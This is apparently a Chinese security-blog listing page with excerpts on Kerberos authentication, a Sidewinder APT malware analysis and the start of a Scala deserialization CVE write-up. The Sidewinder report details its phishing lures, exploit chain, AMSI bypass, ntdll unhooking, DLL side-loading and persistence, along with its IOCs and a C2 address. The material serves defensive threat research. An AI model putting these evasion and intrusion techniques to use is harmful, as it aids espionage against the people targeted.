注意这里传递是用clinet的哈希值加密的内容,而不是传递了client的明文密码 AS_REP AS收到请求后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密 ...

    2023-08-28 212
  • 响尾蛇组织近一年攻击组件汇总分析报告

    1 APT组织相关背景介绍 1.1 响尾蛇组织相关背景介绍 响尾蛇组织, 又称Sidewinder、APT-C-17、T-APT-04,是一个来自于南亚地区的境外APT组织。该组织主要针对中国、巴基斯坦、尼泊尔、斯里兰卡等亚洲地区国家进行网络间谍活动,主要针对高校,新闻,金融,媒体,政府和电信公司进行攻击,以窃取敏感信息为主要目标。该组织的相关攻击活动最早可以追溯到2012年,至今还非常活跃,大多数行动是对巴基斯坦进行攻击,窃取机密信息。 1.2 响尾蛇组织攻击过程 该组织将攻击过程分解成多个阶段,有多次网络下载过程,且连接的C2会检查访问IP所属国家,只允许本次的攻击目标所属国家的IP进行访问,另一方面,为了躲避安全软件的查杀,关键的恶意程序只在内存中执行,最终的远控程序落地为加密数据的形式,需要加载器解密后才执行。 另外响尾蛇组织也会使用开源工具进行攻击活动,在C2的网络特征,域名构造方式有很大的关联性,整体攻击过程比较简单,最终用DLL侧加载的方式在内存中解密执行Cobalt Strike的beacon载荷,实现对用户机器的控制。 此外响尾蛇组织还对Android手机用户进行攻击,通过Google Play散发恶意apk安装包,窃取目标手机中的隐私信息和机密文件。 1.3 响尾蛇组织打点技巧 在响尾蛇组织的相关攻击活动中,该组织伪造发件人邮箱,通过伪造正常的“学院通知”、“政府通知文件”、“热点事件”、“新奇事情(如:暗网数据泄露)”等相关邮件,诱导目标点击其投递的恶意链接或恶意附件,或者伪造政府邮箱登录页面,盗取合法邮箱发送钓鱼邮件。 2 涉及组件详细分析 2.1 DocxDownloader钓鱼组件 响尾蛇组织最常用的鱼叉式钓鱼组件,以抓眼的标题和相关单位的官方文件,在用户打开文档后,机器在不知不觉中被入侵。捕获的部分钓鱼文件如下表: 组件md5 名称 URL 首次上传到VT时间 056d1dc3032d04d7638c02056d5146c9 Circular 31082022.docx https://mo***gov.com/5724/1/3268/2/0/0/0/m/files-11e30891/file.rtf 2022-09-15 10:35:46 UTC b7e63b7247be18cdfb36c1f3200c1dba Product.docx https://cst***.dowmload.net/14668/1/1228/2/0/0/0/m/files-403a1120/file.rtf 2023-03-10 05:14:05 UTC 5efddbdcf40ba01f1571140bad72dccb Leakage of Sensitive Data on Dark Web.docx https://mt***south.org/5974/1/8682/2/0/0/0/m/files-b2dff0ca/file.rtf 2023-03-10 05:21:10 UTC 该组件中会包含一个RTF远程模板的链接,在文档打开时,会自动下载并执行该RTF模板。 打开时会闪过正在下载界面。 2.2 RtfDropper释放器组件 在响尾蛇的历史攻击事件中,rtfdropper组件的使用率非常高,通常文件名为file.rtf,做为docx钓鱼文档的第二阶段载荷,该组件利用office的公式编辑器漏洞CVE-2017-11882,执行释放的javascript脚本文件。 描述 详细信息 名称 file.rtf 文件大小 73294 bytes 文件类型 Rtf 文件功能 Downloader 编译时间 / 开发平台及语言 office Pdb / 是否加壳 否 VT首次上传时间 2022-05-26 18:02:22 UTC md5 54b1157ce8045f2e83340dc5d756f412 sha256 8b4259cb1619bcbf3f6760f0982d0a1d3c67aa26738a3d6f6788bf6c2a5410e5 通过rtfdump分析,可以发现该组件中嵌入了一个1.a文件(javascript脚本文件,文件名是响尾蛇组织固定使用的)和一个Equation.3结构(用于触发公式编辑器漏洞)。 该组件被执行后,公式编辑器在解析Equation.3时,在漏洞函数sub_41160F中数据复制时发生栈溢出,从而导致该函数的返回地址被改写,去执行响尾蛇组织的shellcode。 在shellcode中使用GetCommandLine,然后修改其返回指针指向的内容 解密出一段js脚本并覆盖GetCommandLine返回指针指向的内容。 最后加载mshtml和获取RunHTMLApplication的地址,调用RunHTMLApplication。 RunHTMLApplication给予4个0作为参数,触发RunHTMLApplication去调用GetCommandLine。 因为第一次调用GetCommandLine会从peb中复制一个命令行参数字符串存储在另一个空间中,在这之后GetCommandLine管理这个空间,由于第一次调用是修改了内容,覆盖为js脚本,所以在RunHTMLApplication中的GetCommandLine会得到这个脚本,又因为RunHTMLApplication的流程会去解析这个字符串,被“javascript:”引导去执行js脚本,最后调用CHTMLApp::Run执行js。而这一小段js脚本的作用就是执行1.a脚本文件。 2.3 LnkDownloader钓鱼组件 LnkDownloader是响尾蛇组织最常用的鱼叉式钓鱼攻击的组件之一,经过改进,从利用lnk文件属性中的显示bug隐藏实际的mshta调用,最后变为复制系统的mshta重命名为随机字符再去执行下载。 描述 详细信息 名称 BGI-14.pdf.lnk 文件大小 2217 bytes 文件类型 LNK 文件功能 Downloader 编译时间 / 开发平台及语言 / Pdb / 是否加壳 否 VT首次上传时间 2021-01-02 03:07:30 UTC md5 fa10f48243ea40298e0fa07787e4156c sha256 29022eab3963a624ae886a6f17f94834cb3e55377e0d32a4ad365af83bf74d74 当sLinkFilags中的HasExpString为1时,执行LNK文件会去检查EnviromentVariableDataBlock下的TargetUnicode的文件是否存在,不存在就去检查LinkTargetIDList指向的文件是否存在,存在就执行。LinkTargetIDList的最后一个sIDList中的PrimaryName被设置为hsmta.exe是为了维持HasExpString值不变,因为在检查出EnviromentVariableDataBlock中的TargetUnicode指向的文件不存在时被设置为0。 最后的效果是显示为hsmta.exe来误导用户。   描述 详细信息 名称 ***关于11月22日起工作安排调整的通知.docx.lnk 文件大小 1055 bytes 文件类型 LNK 文件功能 Downloader 编译时间 / 开发平台及语言 / Pdb / 是否加壳 否 VT首次上传时间 2022-11-24 16:42:12 UTC md5 5356a1193252b4fb2265fc8ac10327a1 sha256 f946663a780806693ea3fb034215bd6da25971eb07d28fe9c209594c90ec3225 改进后的lnk文件不再利用显示bug,是将mshta.exe复制并重命名为随机字符.exe,然后就下载执行远程HTA脚本文件。 2.4 DonetLoader加载器组件 响尾蛇组织经典的.net程序加载器,是魔改的开源项目CACTUSTORCH,用于在内存中加载后续的.net DLL程序,该组件分别作为rtf释放的1.a javascript脚本和lnk文件下载的hta文件。 组件md5 名称 文件大小 VT首次提交时间 a9dbf0cbc46dfe0202b534c63bd52a4a 1.a 900000 bytes 2019-08-13 13:49:59 UTC da8d3934fa1ddaf713ec32071eeb2987 file.hta 330170 bytes   db9562258c4a8518e0c6c43cdc0f0151 1.a 4953600 bytes 2022-01-14 07:30:57 UTC 该组织大致经过1年就会对组件进行升级改造,主要是字符串解密模块的修改。从标准base64编码->异或+自定义base64编码->字符反转+多个key异或。 2019:标准base64编码(相关文件md5:a9dbf0cbc46dfe0202b534c63bd52a4a)。 2020:异或+自定义base64编码(相关文件md5:da8d3934fa1ddaf713ec32071eeb2987)。 2021:字符反转+多个key异或(相关文件md5:db9562258c4a8518e0c6c43cdc0f0151)。 后续的加载过程都保留开源项目CACTUSTORCH的加载过程,解密后在内存加载,获取DLL的类对象“App.Program”,提供4个参数,并调用work方法。 2.5 AppDownloader下载器组件分析 在2022年之后,响尾蛇整合了早期的两个组件,开发了AppDownloader组件,通过Donetloader加载调用work方法,根据提供的参数,完成诱饵文件释放和后续载荷下载,并在内存中执行载荷,其真实文件名为App.dll,所以命名为AppDownloader。 名称 组件加载器 加载器md5 首次上传到VT时间 App.dll 1.a b1e0108df9a12d43fdf78e99d3528707 2022-01-14 07:30:57 UTC   描述 详细信息 名称 App.dll 文件大小 2200 bytes 文件类型 DLL 文件功能 Downloader 编译时间 \ 开发平台及语言 .NET Pdb \ 是否加壳 否 VT首次上传时间 2022-01-14 07:30:57 UTC md5 384CF4940E9B819CE8492FCD16EBEA6D Sha256 B8CAB453F7190514DC9F10FF6E549A715E69A2A53ECACBDC0CF0975B56C4E828 该组件是由donetloader加载并调用work方法和传递参数,当第四个参数不为空,则将该参数作为文件名,第三个参数为文件内容,在%temp%目录下释放诱饵文件,并使用mshta.exe打开该诱饵文件。 下载的数据前32位作为异或密钥解密后续的数据,然后再内存中加载。 2.6 ModuleInstaller下载器组件分析 该组件在不断改进中已经演变为一款比较成熟的恶意软件,会对前面阶段产生的痕迹进行清理,还会对不同的杀毒软件执行不同的操作,也采用了免杀效果不错的进程启动方式,使用其文件名ModuleInstaller做为组件名称。 描述 详细信息 名称 ModuleInstaller.dll 文件大小 46080 bytes 文件类型 exe 文件功能 loader 编译时间 2055-09-29 14:31:33 开发平台及语言 .NET pdb \ 是否加壳 否 VT首次上传时间 \ md5 05C1D2FD7F8E5970406B75C01DC6E949 Sha256 8B21AD911DCC66BBA525C95F1B9F9489E96BD2AADD2B7B0CFD2D53531B51231B 该组件的构造函数接收杀毒软件信息,并检测卡巴斯基、avast、avg、360杀毒这4款杀毒软件的存在。 然后根据配置信息“0100S-ABCD”中的第二或者第三个值是否为“1”,清除前面阶段的文件。 首先是清除%temp%\1.a文件,将文件内容改写为“//FFFF”,该1.a文件为前文所提到的donetloader加载器组件。 通过遍历1-4096已打开的文件句柄,获取文件绝对路径,检测路径中是否有"Microsoft\\Windows\\INetCache\\Content.Word"字符串,该路径下的文件为网络下载过程中的缓存文件,响尾蛇组织利用这个处理方式来消除其网络下载过程中产生的缓存文件。 获取系统信息:用户名、机器名,系统位数等系统基础信息。 将获取到的数据使用标准base64解码后,拼接到url的data参数中,随后使用拼接成的url下载配置数据。 将下载后的数据,使用前32位字节作为异或密钥解密后续数据,以相同的操作解密两次后得到配置数据。配置数据中包含后续载荷文件路径、下阶段载荷url,白+黑侧加载组合(control.exe和propsys.dll)。 根据url下载数据并异或解密后,将数据写入配置文件指定的文件中,将系统中的control.exe复制到相同目录下,最终该目录下存在文件:control.exe、control.exe.config、propsys.dll、[随机字符串].[随机字符串]文件,随着后续远控程序的加载可能会多出一些文件。 遇到卡巴斯基在配置字符的控制下,会使用wmi启动mshta执行js脚本去启动control.exe,以及直接向注册表run目录注册开机启动项,启动control.exe。 检测到360杀毒,直接使用process类启动隐藏窗口的control.exe。并创建快捷方式,放置在开机启动目录下。 检测到avast和avg时,注册两个计划任务,分别是延后2分钟执行control.exe和延后2分钟执行向注册表run目录添加开机启动项。 当没有检测目标杀毒软件时,就使用wmi执行schtask.exe添加计划任务,和直接向注册表RUN目录写入开机启动项。 2.7 DLLloader加载器组件分析 该组件作为白+黑 DLL侧加载利用中的恶意DLL,用来在内存中加载响尾蛇组织的关键载荷SystemAppRAT组件,功能单一,会跟据使用的白+黑利用方式变更文件名。 描述 详细信息 名称 Duser.dll,propsys.dll 文件大小 9728 bytes 文件类型 DLL 文件功能 Loader 编译时间 2021-02-09 18:16:50 开发平台及语言 .NET pdb \ 是否加壳 否 VT首次上传时间 \ md5 E4E2C1259EEA903A2953A1601E49797A Sha256 9B2C9C4FCD0BD591A58BDA2CFB8AF1C2E619FBE402CD2D9ACD0643EBB6E84D09 当DLL被加载后,会先进行Amsi绕过,Amsi可以检测.NET程序中调用的方法名,命名空间等信息来检测恶意的.NET程序,通过修改AmsiScanBuffer的前几个字节使得函数直接返回无可疑操作,达成绕过的效果。 随后读取同目录下使用随机字符命名的文件,使用其前32个字节作为异或密钥解密后续数据,解密后的数据为SystemAppRAT组件,用来进行远程控制,最后在内存中加载该组件。 2.8 SystemAppRAT远控分析 响尾蛇组织最常用的远控组件,以加密数据的形式落地为文件,被DLLloader组件加载后在内存中执行,通过自身的网络传输和机密文件收集功能,来控制被入侵的机器,窃取重要信息。   详细信息 名称 SystemApp.dll 文件大小 637952 bytes 文件类型 DLL 文件功能 RAT 编译时间 2064-02-17 19:06:49 开发平台及语言 .NET pdb \ 是否加壳 否 VT首次上传时间 \ md5 D308484A9EFA669979BD1004F8E5D748 Sha256 5CAD4B71A6A99B34FB2F4D60FA8BB5DB6A6F6DABE5468D9B3341CBC04492AAAB 首先从资源中加载配置信息。 解密后的配置信息如下,加密的方式是二进制文件的前32个字符作为key,循环与后续文件内容进行异或得到结果。配置文件中指定C2通信地址,和窃取的目标文件后缀.doc .docx .xls .xlsx .pdf .ppt .pptx。 解析完配置后,注册定时函数TreeRestoreAccessorInstance,每5秒与C2通信一次,并对C2返回的数据做出响应。 执行的命令如下: 命令 内容 1 收集系统信息,信息保存在.sif文件 2 收集文件信息 3 .docx .doc .xls .xlsx .pdf .ppt .pptx .rar .zip路径保存,信息保存在.fls文件 4 将收集到指定文件的路径保存在配置文件中 5 更新c2地址 6 更新是否上传指定文件参数 7 重置指定文件类型 8 设置文件大小限制 9 上传指定文件 10 保存配置 2.9 HtaDownloader组件 在2023年捕获到响尾蛇组织新的下载器组件,负责下载诱饵文档和恶意DLL,将恶意DLL放置到OneDrive目录下,实现侧加载。 描述 详细信息 名称 something.hta 文件大小 680 bytes 文件类型 HTA 文件功能 Downloader 编译时间 / 开发平台及语言 / 是否加壳 否 VT首次上传时间 / md5 2BCE7A8E34E4751C8E421BAA4C4A0ADA Sha256 F0CB23D26AF39BBFAE450F37BC7642B59D30EE346020485FECC5CD8C33D2190A 下载version.dll放置在本地Onedrive目录(%LOCALAPPDATA%\Microsoft\OneDrive\ ),当本地64位的Onedrive.exe和OneDriveStandaloneUpdater.exe执行时会被劫持以加载恶意version.dll,定时执行OneDriveStandaloneUpdater.exe更新Onedrive的计划任务也会变成响尾蛇组织的常驻项。   另外从巴基斯坦的内阁部门官方网站(cabinet.gov.pk)下载“Advisory No. 16”网络安全咨询16号文件,对应钓鱼文件中提及的内容。 2.10 CSloader组件 该组件为HtaDownloader组件下载的恶意DLL,被同目录下的OneDrive加载。 描述 详细信息 名称 version.dll 文件大小 275456 bytes 文件类型 DLL 文件功能 RAT 编译时间 / 开发平台及语言 / 是否加壳 否 VT首次上传时间 / md5 F2974B8D6B0B2774F49642D53BDEE8A4 Sha256 37E3465D6FCCFAE6E1C29526AA015A766F8FC26CC61ED821F3E0B44D794C99EC 其导出函数GetFileInfoSize和GetFileVersionInfoSizeW指向同一个偏移量,是Onedrive.exe导入DLL后会调用的函数。 GetFileInfoSize和GetFileVersionInfoSizeW函数中会调用函数FUN_180001120解密执行后续的载荷。 函数中先读取系统目录下的ntdll中的.text段替换掉当前进程加载的ntdll中的.text,解除函数挂钩,如果有安全软件通过在ntdll中设置钩子实现对进程行为的监控,那么该恶意文件的操作会让这种类型的监控方式失效。 通过计算硬编码16字节的数据的SHA256值,作为AES-256解密的密钥,解密出shellcode,最后执行。 执行的shellcode会反射加载一个Cobalt Strike的beacon,连接攻击者C2:35.175.135.236,实现远程控制。 2.11 ApkDownloader下载器组件分析 响尾蛇组织针对Android手机开发的恶意程序,最早在2020年由趋势科技披露相关技术细节,主要在Google Play上进行传播,该组件主要功能是下载下阶段载荷,最终在入侵手机中窃取WeChat、Outlook、Twitter、Yahoo Mail、Facebook、Gmail和Chrome等数据。目前以披露的部分恶意安装包如下: 组件md5 名称 文件大小 VT首次提交时间 07b41f9c81915c3adad6b3690ab7a99e 226617.apk 10763432 bytes 2023-03-23 09:34:02 UTC 17ccf24c4e09b1bc7ce5c0eb637a4edd Secure VPN_3.9_apkcombo.com.apk 14744189 bytes 2022-06-02 08:06:59 UTC 3DF009405C2226FA5047DE4CAFF3B927 com.securedata.vpn_v3.2.apk 6072227 bytes 2022-06-02 02:28:33 UTC   描述 详细信息 名称 226617.apk 文件大小 10763432 bytes 文件类型 Apk 文件功能 Downloader 编译时间   开发平台及语言 Android pdb \ 是否加壳 否 VT首次上传时间 2023-03-23 09:34:02 UTC md5 07b41f9c81915c3adad6b3690ab7a99e Sha256 7d237d0c62fb14391d40d8875534135a7a73b8ef47956405f4e600918d583f14 该组件先进行字符串解密,将头部的“zzzza”去除后传入函数。 将字符串使用base64解码后,先读取4字节数据,代表AES密钥长度,随后读取32字节的密钥,最后是AES加密的数据,并且该AES密钥也是网络通信数据的AES解密密钥。 根据分析结果得到AES密钥(7e 51 73 44 54 49 ac a1 fe 99 25 f3 25 29 58 e3 5a 45 7c cd 89 d4 87 78 34 3f b2 df c2 60 2c 21),使用AES-256 ECB模式解密数据后得到下阶段载荷的URL。 随后发送网络请求下载下阶段载荷。 该载荷会落地为文件保存为/data/data/<package_name>/files/fex/permFex/8496eac3cc33769687848de8fa6384c3。 最后通过DexClassLoader类加载该DEX文件,执行恶意代码,根据趋势科技报告中提到的信息,后续载荷是对手机信息的窃取。 最后注册计划任务,每10分钟去触发上文的下载执行下阶段载荷的过程。 注册开机广播,检测到开机事件会启动服务,也就是上文提到的下载下阶段DEX载荷和执行载荷。 该组件有多种获取C2的方式。 方法一:如上文的样本(07b41f9c81915c3adad6b3690ab7a99e)将C2硬编码在程序中。 方法二:在样本(17CCF24C4E09B1BC7CE5C0EB637A4EDD)中使用托管在Google Cloud上的Firebase服务提供C2。 方法三:在样本(3DF009405C2226FA5047DE4CAFF3B927)中使用Google Play的Install Referrer 服务获取数据,解密后得到C2。 3 基础设施分析 该组织会运营大量域名来针对东南亚各个地区进行攻击,并且带有访问控制,钓鱼C2上会检测请求IP所属国家,限制非目标国家IP的访问。 3.1 域名构造特征分析 从收集和整理的响尾蛇历史攻击中使用的域名,可以发现该组织比较偏向于使用攻击目标相关的机构官方域名的关键字符串来构造域名。如“*[mod/mofa]-gov*”,“*navy-gov*”,“mail[navy/mod/mofa]*”以伪装成军队和政府单位相关的域名,还有用字符错位、藏字符等方式构造域名,如“*donwloaded.com”,“*downlod.net”,“*downlod.com”。 3.2 URL特征分析 根据狩猎到的所有响尾蛇样本进行分析发现响尾蛇组织的第二阶段载荷下载URL具有明显的特点:固定的分段字符,特定的字符串“/2/0/0/”和”files-[8个随机字符]“,例如: https://[域名]/3679/1/55554/2/0/0/0/m/files-94c98cfb/hta https://[域名]/5974/1/8682/2/0/0/0/m/files-b2dff0ca/file.rtf https://[域名]/669/1/1970/2/0/0/1764305594/2X1R9Tw7c5eSvLpCCwnl0X7C0zhfHLA6RJzJ0ADS/files-82dfc144/appxed 3.3 C2网络特征分析 目前响尾蛇组织的C2有比较明显的特征是jarm="3fd3fd0003fd3fd21c3fd3fd3fd3fd703dc1bf20eb9604decefea997eabff7"和jarm="40d40d40d00040d1dc40d40d40d40de9ab649921aa9add8c37a8978aa3ea88"。且直接访问响尾蛇组织的C2地址,会直接返回404 Not Found,而且该组织多用“nginx”服务器,返回长度多数为“555”和“153”。 4 总结 响尾蛇组织常使用鱼叉攻击对目标进行打点攻击,攻击频率较高,具有一定的危险性。主要针对政府机构和军事单位等行业进行攻击,窃取该类单位的高新技术研究资料或规划信息等,相关行业及单位需要警惕并加强网络防御。另外该组织也常用DLL侧加载和无文件攻击,将关键代码隐藏在正常进程中秘密执行,安全公司应加强相关技术的检测。 5 ATT&CK模型 战术(Tactic) 技术(Technique) 过程(Procedure) TA0043-目标侦查(Reconnaissance) / / 资源开发(Resource Development) T1587.001(构建自定义恶意软件) 响尾蛇组织自定义开发了下载器、文件窃密组件等   T1588.001(获取恶意软件) 响尾蛇组织使用开源DONET加载器进行攻击。 初始访问(Init Access) T1566.001(鱼叉攻击,恶意附件) 响尾蛇组织向目标投递携带恶意附件的邮件。 代码执行(Execute) T1204.002(用户执行恶意鱼叉附件) 用户直接执行响尾蛇组织投递的恶意文件   T1203(针对客户端执行的攻击) 响尾蛇组织利用CVE-2017-11882 持久化(Persistence) T1547.001(Run注册项/启动文件目录自启动) 响尾蛇组织使用的恶意文件使用注册表自启动项实现持久化 T1053.005(计划任务) 响尾蛇组织使用的恶意文件创建计划任务实现持久化 权限提升(Privilege Escalation) / / 防御规避(Dfense Evasion) T1027.009(混淆文件或信息:嵌入式有效负载) 响尾蛇组织使用多种加载器加载恶意载荷 T1574.002(劫持执行流程:DLL侧加载) 响尾蛇组织使用DLL侧加载,在正常软件中加载远控程序。 T1218.005(系统二进制代理执行:mshta) 响尾蛇组织使用系统白文件执行远程hta脚本文件。 T1036.007(扩展名伪装) 响尾蛇组织使用pdf结合lnk的后缀名将恶意文件伪装成pdf文档文件 凭证访问(Credential Access) / / 发现(Discovery) T1518.001(安全软件发现) 响尾蛇组织使用Windows服务 winmgmts:\.\root\SecurityCenter2 检查已安装的防病毒产品。 横向移动(Lateral Movement) / / 信息收集(Collection) T1074.002(数据阶段:本地数据暂存) 响尾蛇组织将收集到信息保存在.sif、.flc、.fls等文件中。 T1005(本地系统数据) 响尾蛇组织使用组件SystemAppRAT等窃取office文档及txt文件等 命令与控制(Command and Control) T1071.001(使用现有web协议进行命令传输) 响尾蛇组织常使用HTTPS进行通信 T1132.001(数据编码/标准编码) 响尾蛇组织常使用base64对通信数据进行编码 数据渗出(Exfiltration) T1041(通过C2通道) 响尾蛇组织使用C2通道渗出数据 影响(Impact) / / 6 参考链接 https://www.group-ib.com/blog/hunting-sidewinder/ https://www.group-ib.com/blog/sidewinder-antibot/ https://mp.weixin.qq.com/s/LaWE4R24D7og-d7sWvsGyg https://www.trendmicro.com/en_us/research/20/a/first-active-attack-exploiting-cve-2019-2215-found-on-google-play-linked-to-sidewinder-apt-group.html https://mp.weixin.qq.com/s/WzmRtSt20musYWOgAEUT1Q https://mp.weixin.qq.com/s/MZadlpXbpCfQAv41rtVm3A https://mp.weixin.qq.com/s/YOyfe4a0PcKET5YiLObW7g ...

    2023-08-20 259
  • 基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)

    引言 前段时间打SCTF,大牛师傅们的WP后,在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。 没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃 POC复现环境 Github: lazylist-cve-poc “线索” For security, preventFunction0execution duringLazyListdeserialization 关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue 利用条件 scala版本<2.13.9 允许用户伪造序列化字节流数据 前置知识 对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链子上某点出现的反序列化干分析不仅枯燥难懂而且总感觉少了点什么 有Scala基础的师傅可以直接跳过这部分 Scala简介 Scala语言是一门多范式的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。Scala运行在Java虚拟机上,并兼容现有的Java程序。Scala源代码被编译成Java字节码,所以它可以运行于JVM之上,并可以调用现有的Java类库。 Scala和Java之间的联系很紧密,Scala可以看作是对Java语言的丰富和扩展,Scala比Java更加灵活和强大,支持更多的编程范式和语言特性,例如高阶函数、模式匹配、特质、偏函数、隐式转换等。 这个特性对于经验丰富的scala开发者来说很舒服,但对于第一次接触scala就要啃源码的人来说非常非常非常不友好,比如笔者 Scala也可以利用Java的丰富的生态系统,使用Java的各种框架和库。 Scala和Java之间的区别也很明显,Scala有自己的语法规则和风格,与Java有很多不同之处,例如变量声明、函数定义、类构造、异常处理、集合操作等。Scala还有一些Java没有的概念,例如伴生对象、样例类、富接口、自身类型等 基础语法即使不懂scala也差不多能看懂,所以不涉及语法糖或者比较新的机制的地方本篇文章不做论述 但scala代码的有些地方还是容易迷糊,所以在之后部分涉及到的语法看不懂的可以先自行学习一下 匹配器match Scala语言的匹配器match是一种强大的语法结构,它可以让你根据不同的条件对一个值进行分支处理,类似于Java中的switch语句,但是更加灵活和强大。 match的基本用法 // 定义一个值 val x = ... // 使用match对值进行匹配 x match { // 每个case表示一种匹配情况 case 条件1 => 结果1 // 如果x满足条件1,就返回结果1 case 条件2 => 结果2 // 如果x满足条件2,就返回结果2 ... case _ => 默认结果 // 如果x都不满足上面的条件,就返回默认结果,_表示任意值 }   当然,你也可以用其他字符表示默认结果,而与_的区别就是_作为接受其他情况的变量时不会赋予$值 object Main { def show(result:String):Unit={ println(result) } def main(args: Array[String]): Unit = { val x=11 val y=x match { case 1 => "one" case 2 => "two" case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 //case _ => s"other: $" //错误:Cannot resolve symbol _ } show(y) //other: 11   }} match可以匹配不同类型的值,比如整数、字符串、布尔值等,也可以匹配复杂的数据结构,比如列表、元组、样例类等。match还可以使用模式守卫来增加额外的判断条件,比如: x match { case 条件1 if 表达式1 => 结果1 // 如果x满足条件1,并且表达式1为真,就返回结果1 case 条件2 if 表达式2 => 结果2 // 如果x满足条件2,并且表达式2为真,就返回结果2 ...} match的其他用法 // 把match赋值给一个变量val result = x match { case 条件1 => 结果1 case 条件2 => 结果2 ...}   // 把match作为函数的参数def foo (y: Int) = {println (y)}foo (x match {case 条件1 => 结果1case 条件2 => 结果2...}) // 把match作为函数的返回值def bar (z: String): Boolean = z match {case "yes" => truecase "no" => falsecase _ => false}   总的来说,match是一个表达式,它有一个返回值 apply方法 apply方法是Scala中一个非常有用的特性,它可以让我们用一种简洁而直观的方式来创建和使用对象。 apply方法的本质是一个普通的方法,它可以定义在类或者对象中,但是它有一个特殊的语法糖,就是当我们用括号传递参数给一个类或者对象时,Scala会自动调用它的apply方法,并把参数传给它。 例如: // 定义一个类Person,有一个name属性class Person(val name: String)   // 定义一个伴生对象Person,有一个apply方法,接受一个name参数,返回一个Person实例object Person {def apply(name: String) = new Person(name)} // 创建一个Person实例,可以直接用Person("Alice"),而不需要用new Person("Alice")val alice = Person("Alice")//相当于Person.apply("Alice") // 打印alice的name属性,输出Aliceprintln(alice.name)   我们通过Person("Alice")这种方式创建了一个Person实例,而不需要用new关键字。这是因为Scala会把Person("Alice")转换成Person.apply("Alice"),也就是调用了伴生对象Person的apply方法,并把"Alice"作为参数传给它。这样就可以省略new关键字,让代码更简洁。 apply方法不仅可以定义在伴生对象中,也可以定义在类中。当我们对一个类的实例用括号传递参数时,Scala会调用该类的apply方法,并把参数传给它。 object Main {   def main(args: Array[String]): Unit = { class Person(val name: String){ //在类中定义apply方法,输出name def apply() :Unit = println(s"I am $name") } var p= new Person("lanb0") p()//相当于p.apply() //I am lanb0 }} 伴生对象 伴生对象是Scala中一种特殊的单例对象,它与一个同名的类存在于同一个文件中,这个类被称为伴生类。 伴生对象和伴生类之间有以下几个特点: 伴生对象和伴生类可以互相访问对方的私有成员,包括字段和方法。 伴生对象的成员相当于Java中的静态成员,可以直接通过对象名调用,而不需要创建对象实例。 伴生对象可以实现apply方法,用于创建伴生类的实例,这样就可以省略new关键字。 伴生对象可以实现unapply方法,用于实现模式匹配和提取器的功能。 伴生对象可以扩展一个或多个特质(trait),从而实现多重继承和混入(mixin)的效果。 下面是一个简单的例子,演示了伴生对象和伴生类的定义和使用: // 定义一个Person类,作为伴生类class Person(val name: String, val age: Int) { private val secret = "I love Scala"   def sayHello(): Unit = {println(s"Hello, I am $name, $age years old.")}} // 定义一个Person对象,作为伴生对象object Person { var count = 0 def increase(): Unit = {count += 1println(s"Person count: $count")} def showSec():Unit={println(apply("test",1).secret)} // 定义一个apply方法,用于创建Person类的实例def apply(name: String, age: Int): Person = {increase()new Person(name, age) // 返回新的Person对象} // 定义一个unapply方法,用于提取Person类的属性def unapply(person: Person): Option[(String, Int)] = {if (person == null) None // 如果person为空,返回Noneelse Some(person.name, person.age) // 否则返回Some元组}}object Main { def main(args: Array[String]): Unit = {// 使用伴生对象的apply方法创建Person类的实例,省略了new关键字val p1 = Person("Alice", 20)//Person count: 1val p2 = Person("Bob", 25)//Person count: 2 // 使用伴生对象的字段和方法 println(Person.count) // 输出2 Person.increase() // Person count: 3 Person.showSec()//输出Person count: 4 //I love Scala(伴生对象可以访问伴生类的私有成员) // 使用伴生类的字段和方法 /* println(p1.secret)// 无法访问私有成员 */ p1.sayHello() // 输出Hello, I am Alice, 20 years old. // 使用模式匹配和提取器,利用伴生对象的unapply方法 val p3=null p1 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. case _ => println("Unknown person.") } p3 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. case _ => println("Unknown person.") } }}   特质trait Scala语言中,有一个Scala语言中,有一个重要的概念叫做特质(trait),它类似于Java语言中的接口,但是比接口更加强大和灵活。 特质(trait)是一种定义了一组抽象或具体的属性和方法的类型,它可以被类(class)或对象(object)扩展(extends)或混入(mix in)。 特质可以实现多重继承,也就是说,一个类可以继承多个特质,从而获得所有特质中定义的属性和方法。 特质的定义和使用 特质的定义使用关键字trait trait PersonBody { val height: Int}     但是特质不能被实例化,因此特质没有参数,也没有构造函数。像trait PersonBody(170)或者new PersonBody(170)这样的写法就是错的,可以类比java的接口无法实例化 要使用特质,可以使用extends关键字来扩展一个或多个特质 扩展单个特质 object Main { trait PersonBody { var height: Int } class Person(name : String) extends PersonBody{ override var height: Int = 170 } def main(args: Array[String]): Unit = { var person = new Person("Cloud") println(person.height) //170 }} 注意,重写(实现)属性或方法时,需要使用override关键字来修饰 trait的方法声明必须被实现 扩展多个特质 使用with关键字来连接 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby() } class Person(name : String) extends PersonBody with PersonHobby { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } }def main(args: Array[String]): Unit = {var person = new Person("Cloud")person.showHobby() }}   with后面可以跟with,来扩展很多特质 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby():Unit } trait PersonScore{ var math="150" def showScore():Unit } class Person(name : String) extends PersonBody with PersonHobby with PersonScore { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } override def showScore(): Unit = { println(math) } } def main(args: Array[String]): Unit = { var person = new Person("Cloud") person.showHobby() person.showScore() }}/*输出Honor of King : World150*/ 自身类型self-type self-type表示一个类或特质依赖于另一个类型,即它必须和另一个类型混入(mixin)才能被实例化。 